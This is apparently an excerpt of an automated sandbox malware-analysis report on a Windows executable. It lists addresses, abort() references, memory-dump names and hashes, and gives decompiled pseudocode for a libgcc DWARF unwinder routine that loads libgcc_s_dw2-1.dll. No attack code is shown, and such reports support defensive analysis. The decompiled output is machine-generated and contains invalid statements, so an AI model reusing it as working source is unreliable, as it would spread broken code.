0x00439fd0
0x00439fd4
0x00439fd6
0x00000000
0x00439fdc
0x00439fdc
0x00439fdc
0x00439fdf
0x00439fe1
0x00000000
0x00439fe1
0x00000000
0x00000000
0x00439fb3
0x00439fb3
0x00439fb7
0x00439fba
0x00000000
0x00439fc0
0x00439fc0
0x00439fc0
0x00439fc4
0x00000000
0x00439fc4
0x00000000
0x00000000
0x00439f90
0x00439f90
0x00439f94
0x00439f98
0x00439f9b
0x00439f9e
0x00439fa0
0x00000000
0x00439fa6
0x00439fa6
0x00439fa6
0x00439fa8
0x00439faa
0x00000000
0x00439faa
0x00000000
0x00000000
0x0043a185
0x0043a185
0x0043a189
0x0043a18c
0x00000000
0x0043a192
0x0043a192
0x0043a192
0x0043a195
0x0043a198
0x0043a19c
0x0043a1a0
0x0043a1a4
0x0043a1a6
0x00000000
0x0043a1a6
0x00000000
0x00000000
0x00000000
0x00000000
0x0043a1b0
0x0043a1b0
0x0043a1b4
0x0043a1b7
0x00000000
0x0043a1bd
0x0043a1bd
0x0043a1bd
0x0043a1c0
0x0043a1c3
0x0043a1c7
0x0043a1cb
0x0043a1ce
0x00000000
0x0043a1d0
0x0043a1d0
0x0043a1d0
0x0043a1d3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043a1d3
0x00000000
0x0043a1ce
0x00000000
0x00000000
0x0043a100
0x0043a100
0x0043a104
0x0043a106
0x00000000
0x0043a10c
0x0043a10c
0x0043a10c
0x0043a10f
0x0043a111
0x0043a115
0x0043a118
0x0043a11c
0x0043a11e
0x0043a225
0x0043a124
0x0043a124
0x0043a128
0x0043a128
0x00000000
0x0043a11e
0x00000000
0x00000000
0x0043a140
0x0043a140
0x0043a144
0x00000000
0x00000000
0x0043a130
0x0043a130
0x0043a133
0x0043a137
0x00000000
0x00000000
0x00439f50
0x00439f50
0x00439f53
0x00439f56
0x00000000
0x00439f5c
0x00439f5c
0x00439f5c
0x00439f60
0x00439f67
0x00439f6a
0x00439f6e
0x00439f7b
0x00439f7b
0x00439f7e
0x00000000
0x00439f84
0x00439f84
0x00000000
0x00439f84
0x00439f70
0x00439f70
0x00439f70
0x00439f75
0x00000000
0x00000000
0x00000000
0x00000000
0x00439f75
0x00439f6e
0x00000000
0x00000000
0x00439ed0
0x00439ed0
0x00439ed2
0x00439ed2
0x00439ed4
0x00439ee0
0x00439ee0
0x00439ee0
0x00439ee3
0x00439ee9
0x00439eec
0x00439eee
0x00439ef1
0x00439ef3
0x00439ef3
0x00439ef7
0x00439ef9
0x00439efb
0x00439efd
0x00439f00
0x00439f02
0x00439f02
0x00439f05
0x0043a269
0x0043a26b
0x0043a26d
0x0043a26d
0x00439f05
0x00439f0b
0x00439f0e
0x00439f11
0x00000000
0x00439f17
0x00439f17
0x00439f17
0x00439f1b
0x00439f22
0x00439f25
0x00439f29
0x00439f32
0x00439f32
0x00439f35
0x00000000
0x00439f3b
0x00439f3b
0x00439f3b
0x00000000
0x00439f3b
0x00439f2b
0x00439f2b
0x00439f2b
0x00439f30
0x00439f3d
0x00439f3d
0x00439f3f
0x00439f41
0x00000000
0x00000000
0x00000000
0x00000000
0x00439f30
0x00439f29
0x00000000
0x00000000
0x00439e71
0x00439e71
0x00439e73
0x00439e73
0x00439e75
0x00439e75
0x00439e75
0x00439e78
0x00439e7e
0x00439e81
0x00439e83
0x00439e86
0x00439e88
0x00439e88
0x00439e8c
0x00439e8f
0x00000000
0x00439e95
0x00439e95
0x00439e95
0x00439e99
0x00439ea0
0x00439ea3
0x00439ea7
0x00439eb4
0x00439eb4
0x00439eb6
0x00000000
0x00439ebc
0x00439ebc
0x00439ebc
0x00439ebe
0x00439ec2
0x00000000
0x00439ec2
0x00439ea9
0x00439ea9
0x00439ea9
0x00439eae
0x0043a1e0
0x0043a1e0
0x0043a1e4
0x00000000
0x00000000
0x00000000
0x00000000
0x00439eae
0x00439ea7
0x00000000
0x00000000
0x0043a080
0x0043a080
0x0043a082
0x0043a082
0x0043a084
0x0043a084
0x0043a084
0x0043a087
0x0043a08d
0x0043a090
0x0043a092
0x0043a095
0x0043a097
0x0043a097
0x0043a09b
0x0043a09d
0x0043a09d
0x0043a0a0
0x0043a0a0
0x0043a0a0
0x0043a0a3
0x0043a0a9
0x0043a0ac
0x0043a0ae
0x0043a0b1
0x0043a0b3
0x0043a0b3
0x0043a0b7
0x0043a0ba
0x0043a0bc
0x0043a0be
0x0043a259
0x0043a25b
0x0043a25d
0x0043a25d
0x0043a0be
0x0043a0c4
0x0043a0c7
0x00000000
0x0043a0cd
0x0043a0cd
0x0043a0cd
0x0043a0d1
0x0043a0d8
0x0043a0db
0x0043a0df
0x0043a0e8
0x0043a0e8
0x0043a0eb
0x00000000
0x0043a0f1
0x0043a0f1
0x0043a0f1
0x00000000
0x0043a0f1
0x0043a0e1
0x0043a0e1
0x0043a0e1
0x0043a0e6
0x0043a0f3
0x0043a0f3
0x0043a0f5
0x0043a0f9
0x00000000
0x00000000
0x00000000
0x00000000
0x0043a0e6
0x0043a0df
0x00000000
0x00000000
0x00439da1
0x00439da1
0x00000000
0x00000000
0x00439e40
0x00439e40
0x00439e44
0x00439e48
0x00439e4c
0x00439e4e
0x00439e53
0x00439e56
0x00439e59
0x00439e5b
0x00439e5d
0x00439e62
0x00439e66
0x00439e6a
0x00000000
0x00000000
0x0043a2a2
0x0043a2a2
0x0043a2a4
0x00000000
0x00000000
0x0043a2ab
0x0043a2ab
0x0043a2ad
0x0043a2af
0x0043a2b0
0x0043a2b0
0x0043a2b0
0x0043a2b2
0x00000000
0x00000000
0x0043a2b9
0x0043a2b9
0x0043a2bb
0x00000000
0x00000000
0x0043a2c2
0x0043a2c2
0x0043a2c4
0x0043a2c6
0x0043a2c8
0x0043a2c8
0x0043a2c8
0x0043a2ca
0x00000000
0x00000000
0x0043a2d1
0x0043a2d1
0x0043a2d4
0x00000000
0x00000000
0x0043a2db
0x0043a2db
0x0043a2dd
0x00000000
0x00000000
0x0043a2e4
0x0043a2e4
0x0043a2e6
0x00000000
0x00000000
0x0043a2ed
0x0043a2ed
0x0043a2ef
0x00000000
0x00000000
0x0043a2f6
0x0043a2f6
0x0043a2f8
0x00000000
0x00000000
0x0043a2ff
0x0043a2ff
0x0043a301
0x00000000
0x00000000
0x0043a308
0x0043a308
0x0043a30a
0x00000000
0x00000000
0x0043a311
0x0043a311
0x0043a313
0x0043a315
0x0043a317
0x0043a31a
0x00000000
0x00000000
0x0043a321
0x0043a321
0x0043a323
0x0043a325
0x0043a327
0x0043a32a
0x00000000
0x00000000
0x0043a331
0x0043a331
0x0043a333
0x0043a335
0x0043a337
0x0043a33a
0x00000000
0x00000000
0x0043a341
0x0043a341
0x0043a343
0x0043a345
0x0043a347
0x0043a34a
0x00000000
0x00000000
0x0043a351
0x0043a351
0x0043a353
0x0043a355
0x0043a357
0x0043a35a
0x00000000
0x00000000
0x0043a361
0x0043a361
0x0043a363
0x0043a365
0x0043a367
0x0043a36a
0x00439d60
0x00439d60
0x00439d63
0x00000000
0x00439d69
0x00439d69
0x00439d69
0x00439d6c
0x00439d70
0x00000000
0x00439d70
0x00000000
0x00000000
0x00439d47
0x00000000
0x00439d3e
0x00439d7a
0x00439d7a
0x00439d80
0x00000000
0x00439d86
0x00439d86
0x00439d86
0x00439d8a
0x00439d90
0x00439d91
0x00439d92
0x00439d93
0x00439d94
0x00439d94
0x00000000
0x00439d80
0x004c5e66
0x004c5e66
0x004c5e6b
0x004c5e70
0x004c5e75
0x004c5e7a
0x004c5e7f
0x004c5e84
0x004c5e89
0x004c5e8e
0x004c5e93
0x004c5e98
0x004c5ea0
0x004c5ea5
0x004c5eaa
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00000000

APIs

abort.MSVCRT ref: 004C5E66
abort.MSVCRT ref: 004C5E6B
abort.MSVCRT ref: 004C5E70
abort.MSVCRT(0043AF3B), ref: 004C5E75
abort.MSVCRT(0043AF3B), ref: 004C5E7A
abort.MSVCRT(0043AF3B), ref: 004C5E7F
abort.MSVCRT(0043AF3B), ref: 004C5E84
abort.MSVCRT(0043AF3B), ref: 004C5E89
abort.MSVCRT(0043AF3B), ref: 004C5E8E
abort.MSVCRT(0043AF3B), ref: 004C5E93
abort.MSVCRT(0043AF3B), ref: 004C5E98
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EA0
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EA5
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EAA

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 03016098fb18ab8b9fd0a60bb00dc8a2b504539b825251a23171dc95672cd83c
Instruction ID: bbf0c34252180b6aa77eb3f3d23462ab8636293afb30061effb39a1257e95563
Opcode Fuzzy Hash: 03016098fb18ab8b9fd0a60bb00dc8a2b504539b825251a23171dc95672cd83c
Instruction Fuzzy Hash: 10E0303046D7268BD341FF1DA08902EF7E6BEC5314F262DAED64063205C774A8118A5A

Uniqueness

Uniqueness Score: -1.00%

Function 0043A185 Relevance: 21.0, APIs: 14, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E0043A185(CHAR* __ebx, char _a1, signed int _a20, intOrPtr _a24, signed int _a28, signed int _a44) {
				char _v1;
				void* _v16;
				char* _v40;
				struct HINSTANCE__* _t189;
				struct HINSTANCE__* _t192;
				_Unknown_base(*)()* _t193;
				CHAR* _t195;
				struct HINSTANCE__* _t197;
				_Unknown_base(*)()* _t202;
				void* _t207;
				char** _t208;
				char** _t209;
				struct HINSTANCE__** _t211;
				struct HINSTANCE__** _t212;

				L0:
				while(1) {
					L0:
					_t195 = __ebx;
					if(_a20 <= 1) {
						break;
					}
					L90:
					__edx = __eax - 1;
					__eax = __eax - 2;
					__esi =  *(__esp + 0x30 + __eax * 4);
					__ecx =  *(__esp + 0x30 + __edx * 4);
					 *(__esp + 0x30 + __edx * 4) =  *(__esp + 0x30 + __eax * 4);
					__esi = __ebx;
					 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __edx * 4);
					while(1) {
						L12:
						if(_a24 <= __esi) {
							break;
						}
						L7:
						__eax =  *__esi & 0x000000ff;
						__ebx = __esi + 1;
						__ecx = __eax - 3;
						__edx = __eax;
						if(__cl > 0xee) {
							L96:
							abort();
							goto L97;
						} else {
							L8:
							__ecx = __cl & 0x000000ff;
							switch( *((intOrPtr*)(__ecx * 4 +  &M00511DB0))) {
								case 0:
									L9:
									__ebp = _a20;
									__edi =  *(__esi + 1);
									__esi = __esi + 5;
									__eflags = __esi;
									goto L10;
								case 1:
									goto L96;
								case 2:
									L22:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L129;
									} else {
										L23:
										__ebp = __eax;
										__ebp =  &_v1;
										__edi =  *(__esp + 0x30 + __ebp * 4);
										__eflags = __dl - 0x1f;
										if(__eflags == 0) {
											L110:
											__edi =  ~__edi;
											__esi = __ebx;
										} else {
											L24:
											if(__eflags <= 0) {
												L97:
												__eflags = __dl - 6;
												if(__dl != 6) {
													L99:
													__eflags = __dl - 0x19;
													if(__dl != 0x19) {
														goto L96;
													} else {
														L100:
														__eax = __edi;
														__esi = __ebx;
														__eax = __edi >> 0x1f;
														__edi = __edi ^ __eax;
														__edi = __edi - __eax;
													}
												} else {
													L98:
													__edi =  *__edi;
													__esi = __ebx;
												}
											} else {
												L25:
												__eflags = __dl - 0x23;
												if(__dl == 0x23) {
													L102:
													__esi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														L103:
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__edi = __edi + __esi;
													__esi = __ebx;
												} else {
													L26:
													__eflags = __dl - 0x94;
													if(__dl != 0x94) {
														L95:
														__eflags = __dl - 0x20;
														if(__dl == 0x20) {
															L109:
															__edi =  !__edi;
															__esi = __ebx;
														} else {
															goto L96;
														}
													} else {
														L27:
														__eax =  *(__esi + 1) & 0x000000ff;
														__edx = __esi + 2;
														__eflags = __al - 2;
														if(__eflags == 0) {
															L128:
															__edi =  *__edi & 0x0000ffff;
															__esi = __edx;
														} else {
															L28:
															if(__eflags <= 0) {
																L107:
																__eflags = __al - 1;
																if(__al != 1) {
																	goto L96;
																} else {
																	L108:
																	__edi =  *__edi & 0x000000ff;
																	__esi = __edx;
																}
															} else {
																L29:
																__eflags = __al - 4;
																if(__al == 4) {
																	L31:
																	__edi =  *__edi;
																	__esi = __edx;
																} else {
																	L30:
																	__eflags = __al - 8;
																	if(__al != 8) {
																		goto L96;
																	} else {
																		goto L31;
																	}
																}
															}
														}
													}
												}
											}
										}
										goto L10;
									}
									goto L141;
								case 3:
									L21:
									__edi =  *(__esi + 1) & 0x000000ff;
									__ebp = _a20;
									__esi = __esi + 2;
									goto L10;
								case 4:
									L20:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 2;
									goto L10;
								case 5:
									L19:
									__edi =  *(__esi + 1) & 0x0000ffff;
									__ebp = _a20;
									__esi = __esi + 3;
									goto L10;
								case 6:
									L18:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 3;
									goto L10;
								case 7:
									L16:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 9;
									goto L10;
								case 8:
									L68:
									__esi = __ebx;
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L69:
										__esi = __esi + 1;
										__edx =  *(__esi - 1) & 0x000000ff;
										 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
										__eax = ( *(__esi - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__ebp = _a20;
									goto L10;
								case 9:
									L63:
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L64:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										__edx = __edx & 0x0000007f;
										__eax = (__edx & 0x0000007f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | (__edx & 0x0000007f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__eflags = __ecx - 0x1f;
									if(__ecx > 0x1f) {
										goto L94;
									} else {
										L66:
										__edx = __edx & 0x00000040;
										__eflags = __edx;
										if(__edx == 0) {
											goto L94;
										} else {
											L67:
											__eax = 1;
											__ebp = _a20;
											__esi = __ebx;
											1 << __cl =  ~(1 << __cl);
											__edi = __edi |  ~(1 << __cl);
										}
									}
									goto L10;
								case 0xa:
									L61:
									__ebp = _a20;
									__eflags = __ebp;
									if(__ebp == 0) {
										goto L129;
									} else {
										L62:
										__edi =  *(__esp + 0x2c + __ebp * 4);
										__esi = __ebx;
										goto L10;
									}
									goto L141;
								case 0xb:
									L59:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L129;
									} else {
										L60:
										__eax = __eax - 1;
										__esi = __ebx;
										_a20 = __eax;
										goto L12;
									}
									goto L141;
								case 0xc:
									L57:
									__ebp = _a20;
									__eflags = __ebp - 1;
									if(__ebp <= 1) {
										goto L129;
									} else {
										L58:
										__edi =  *(__esp + 0x28 + __ebp * 4);
										__esi = __ebx;
										goto L10;
									}
									goto L141;
								case 0xd:
									L55:
									__ebp = _a20;
									__ecx =  *(__esi + 1) & 0x000000ff;
									__edx = __esi + 2;
									__eax =  &_v1;
									__eflags = __ecx - __eax;
									if(__ecx >= __eax) {
										goto L129;
									} else {
										L56:
										__eax = __eax - __ecx;
										__esi = __edx;
										__edi =  *(__esp + 0x30 + __eax * 4);
										goto L10;
									}
									goto L141;
								case 0xe:
									goto L0;
								case 0xf:
									L88:
									__eax = _a20;
									__eflags = __eax - 2;
									if(__eax <= 2) {
										goto L129;
									} else {
										L89:
										__ecx = __eax - 1;
										__edx = __eax - 2;
										__eax = __eax - 3;
										__esi =  *(__esp + 0x30 + __ecx * 4);
										__ebp =  *(__esp + 0x30 + __edx * 4);
										__edi =  *(__esp + 0x30 + __eax * 4);
										 *(__esp + 0x30 + __ecx * 4) = __ebp;
										 *(__esp + 0x30 + __edx * 4) = __edi;
										 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __ecx * 4);
										__esi = __ebx;
										goto L12;
									}
									goto L141;
								case 0x10:
									L91:
									__eax = _a20;
									__eflags = __eax - 1;
									if(__eax <= 1) {
										goto L129;
									} else {
										L92:
										__ebp = __eax - 2;
										__edx = __edx - 0x1a;
										__ecx =  *(__esp + 0x2c + __eax * 4);
										__edi =  *(__esp + 0x30 + __ebp * 4);
										__eflags = __dl - 0x14;
										if(__dl > 0x14) {
											goto L96;
										} else {
											L93:
											__edx = __dl & 0x000000ff;
											switch( *((intOrPtr*)((__dl & 0x000000ff) * 4 +  &M0051216C))) {
												case 0:
													goto L111;
												case 1:
													goto L112;
												case 2:
													goto L113;
												case 3:
													goto L114;
												case 4:
													goto L115;
												case 5:
													goto L96;
												case 6:
													goto L116;
												case 7:
													goto L117;
												case 8:
													goto L118;
												case 9:
													goto L119;
												case 0xa:
													goto L120;
												case 0xb:
													goto L121;
												case 0xc:
													goto L122;
												case 0xd:
													goto L123;
												case 0xe:
													goto L124;
												case 0xf:
													goto L125;
												case 0x10:
													goto L126;
												case 0x11:
													goto L127;
											}
										}
										goto L10;
									}
									goto L141;
								case 0x11:
									L83:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L129;
									} else {
										L84:
										__eax = __eax - 1;
										__edi = __eax;
										_a20 = __eax;
										__eax = __esi + 3;
										__edx =  *(__esp + 0x30 + __edi * 4);
										__eflags =  *(__esp + 0x30 + __edi * 4);
										if( *(__esp + 0x30 + __edi * 4) == 0) {
											__esi = __eax;
										} else {
											__esi =  *(__esi + 1);
											__esi = __esi + __eax;
										}
										goto L12;
									}
									goto L141;
								case 0x12:
									L87:
									__eax =  *(__esi + 1);
									__esi = __esi +  *(__esi + 1) + 3;
									goto L12;
								case 0x13:
									L86:
									__edi = __eax - 0x30;
									__ebp = _a20;
									__esi = __ebx;
									goto L10;
								case 0x14:
									L50:
									__eax = __eax - 0x50;
									__eflags = __eax - 0x11;
									if(__eax > 0x11) {
										goto L129;
									} else {
										L51:
										__esi = _a28;
										__edx =  *(__eax + 0x5563f4) & 0x000000ff;
										__edi =  *(__esi + __eax * 4);
										__eflags =  *(__esi + 0x63) & 0x00000040;
										if(( *(__esi + 0x63) & 0x00000040) == 0) {
											L53:
											__eflags = __dl - 4;
											if(__dl == 4) {
												goto L39;
											} else {
												L54:
												goto L129;
											}
										} else {
											L52:
											__eflags =  *((char*)(__esi + __eax + 0x6c));
											if( *((char*)(__esi + __eax + 0x6c)) != 0) {
												goto L94;
											} else {
												goto L53;
											}
										}
									}
									goto L141;
								case 0x15:
									L40:
									__ebp = 0;
									__ecx = 0;
									__eflags = 0;
									__esi = __eax;
									do {
										L41:
										__ebx = __ebx + 1;
										__eax =  *(__ebx - 1) & 0x000000ff;
										__eax = __eax & 0x0000007f;
										__edx = (__eax & 0x0000007f) << __cl;
										__ecx = __ecx + 7;
										__ebp = __ebp | (__eax & 0x0000007f) << __cl;
										__eflags = __al;
									} while (__al < 0);
									__edi = __eax;
									__eax = __esi;
									__esi = __edi;
									__eflags = __ecx - 0x1f;
									if(__ecx <= 0x1f) {
										__esi = __esi & 0x00000040;
										__eflags = __esi;
										if(__esi != 0) {
											1 = 1 << __cl;
											__edx =  ~(1 << __cl);
											__ebp = __ebp |  ~(1 << __cl);
										}
									}
									__eax = __eax - 0x70;
									__eflags = __eax - 0x11;
									if(__eax > 0x11) {
										goto L129;
									} else {
										L45:
										__esi = _a28;
										__edx =  *(__eax + 0x5563f4) & 0x000000ff;
										__edi =  *(__esi + __eax * 4);
										__eflags =  *(__esi + 0x63) & 0x00000040;
										if(( *(__esi + 0x63) & 0x00000040) == 0) {
											L47:
											__eflags = __dl - 4;
											if(__dl != 4) {
												goto L129;
											} else {
												L48:
												__edi =  *__edi;
												goto L49;
											}
										} else {
											L46:
											__eflags =  *((char*)(__esi + __eax + 0x6c));
											if( *((char*)(__esi + __eax + 0x6c)) != 0) {
												L49:
												__edi = __edi + __ebp;
												__esi = __ebx;
												__ebp = _a20;
												goto L10;
											} else {
												goto L47;
											}
										}
									}
									goto L141;
								case 0x16:
									L33:
									__esi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L34:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__eax = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__eflags = __esi - 0x11;
									if(__esi > 0x11) {
										goto L129;
									} else {
										L36:
										__ecx = _a28;
										__eax =  *(__esi + 0x5563f4) & 0x000000ff;
										__edi =  *(__ecx + __esi * 4);
										__eflags =  *(__ecx + 0x63) & 0x00000040;
										if(( *(__ecx + 0x63) & 0x00000040) == 0) {
											L38:
											__eflags = __al - 4;
											if(__al != 4) {
												goto L129;
											} else {
												L39:
												__edi =  *__edi;
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											}
										} else {
											L37:
											__eflags =  *((char*)(__ecx + __esi + 0x6c));
											if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
												L94:
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											} else {
												goto L38;
											}
										}
									}
									goto L141;
								case 0x17:
									L71:
									__esi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L72:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__eax = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L74:
										__ebx = __ebx + 1;
										__eax =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__edx = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __al;
									} while (__al < 0);
									__eflags = __ecx - 0x1f;
									if(__ecx <= 0x1f) {
										__eflags = __al & 0x00000040;
										if((__al & 0x00000040) != 0) {
											1 = 1 << __cl;
											__eax =  ~(1 << __cl);
											__edi = __edi |  ~(1 << __cl);
										}
									}
									__eflags = __esi - 0x11;
									if(__esi > 0x11) {
										goto L129;
									} else {
										L78:
										__ecx = _a28;
										__edx =  *(__esi + 0x5563f4) & 0x000000ff;
										__eax =  *(__ecx + __esi * 4);
										__eflags =  *(__ecx + 0x63) & 0x00000040;
										if(( *(__ecx + 0x63) & 0x00000040) == 0) {
											L80:
											__eflags = __dl - 4;
											if(__dl != 4) {
												goto L129;
											} else {
												L81:
												__eax =  *__eax;
												goto L82;
											}
										} else {
											L79:
											__eflags =  *((char*)(__ecx + __esi + 0x6c));
											if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
												L82:
												__edi = __edi + __eax;
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											} else {
												goto L80;
											}
										}
									}
									goto L141;
								case 0x18:
									L17:
									__esi = __ebx;
									goto L12;
								case 0x19:
									L32:
									__ebx =  *(__esi + 1) & 0x000000ff;
									__edx = _a28;
									__edi =  &_a44;
									__eax = __ebx;
									__eax = L00438E40(__ebx, __ecx, _a28);
									 *__esp =  &_a44;
									__ecx = __esi + 2;
									__edx = __eax;
									__eax = __ebx;
									__eax = L00438D00(__ebx, __esi + 2, __edx);
									__edi = _a44;
									__ebp = _a20;
									__esi = __eax;
									goto L10;
								case 0x1a:
									L111:
									__edi = __edi & __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1b:
									L112:
									__eax = __edi;
									__esi = __ebx;
									asm("cdq");
									_t169 = __eax % __ecx;
									__eax = __eax / __ecx;
									__edx = _t169;
									__edi = __eax;
									goto L10;
								case 0x1c:
									L113:
									__edi = __edi - __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1d:
									L114:
									__eax = __edi;
									__edx = 0;
									__esi = __ebx;
									_t173 = __eax % __ecx;
									__eax = __eax / __ecx;
									__edx = _t173;
									__edi = _t173;
									goto L10;
								case 0x1e:
									L115:
									__edi = __edi * __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1f:
									L116:
									__edi = __edi | __ecx;
									__esi = __ebx;
									goto L10;
								case 0x20:
									L117:
									__edi = __edi + __ecx;
									__esi = __ebx;
									goto L10;
								case 0x21:
									L118:
									__edi = __edi << __cl;
									__esi = __ebx;
									goto L10;
								case 0x22:
									L119:
									__edi = __edi >> __cl;
									__esi = __ebx;
									goto L10;
								case 0x23:
									L120:
									__edi = __edi >> __cl;
									__esi = __ebx;
									goto L10;
								case 0x24:
									L121:
									__edi = __edi ^ __ecx;
									__esi = __ebx;
									goto L10;
								case 0x25:
									L122:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags == 0x00000000;
									__edi = __eflags == 0;
									goto L10;
								case 0x26:
									L123:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags >= 0x00000000;
									__edi = __eflags >= 0;
									goto L10;
								case 0x27:
									L124:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags > 0x00000000;
									__edi = __eflags > 0;
									goto L10;
								case 0x28:
									L125:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags <= 0x00000000;
									__edi = __eflags <= 0;
									goto L10;
								case 0x29:
									L126:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags < 0x00000000;
									__edi = __eflags < 0;
									goto L10;
								case 0x2a:
									L127:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags != 0x00000000;
									__edi = __eflags != 0;
									L10:
									__eflags = __ebp - 0x3f;
									if(__ebp > 0x3f) {
										goto L129;
									} else {
										L11:
										__eax =  &_a1;
										 *(__esp + 0x30 + __ebp * 4) = __edi;
										_a20 =  &_a1;
										goto L12;
									}
									goto L141;
							}
						}
						L141:
					}
					L13:
					__eax = _a20;
					if(__eax == 0) {
						break;
					} else {
						L14:
						__eax =  *(__esp + 0x2c + __eax * 4);
						__esp = __esp + 0x13c;
						_pop(__ebx);
						_pop(__esi);
						return __eax;
					}
					goto L141;
				}
				L129:
				abort();
				L004476B0();
				abort();
				L004476B0();
				L004476B0();
				L004476B0();
				L004476B0();
				L004476B0();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				_t208 = _t207 - 0x1c;
				 *_t208 = "libgcc_s_dw2-1.dll";
				_t189 = GetModuleHandleA(_t195);
				_t209 = _t208 - 4;
				if(_t189 == 0) {
					 *0x4ce004 = 0x43c7d0;
					_t202 = E0043C580;
				} else {
					_t197 = _t189;
					 *_t209 = "libgcc_s_dw2-1.dll";
					_t192 = LoadLibraryA(??);
					_t211 = _t209 - 4;
					 *0x556df0 = _t192;
					_v40 = "__register_frame_info";
					 *_t211 = _t197;
					_t193 = GetProcAddress(??, ??);
					_t212 = _t211 - 8;
					_t202 = _t193;
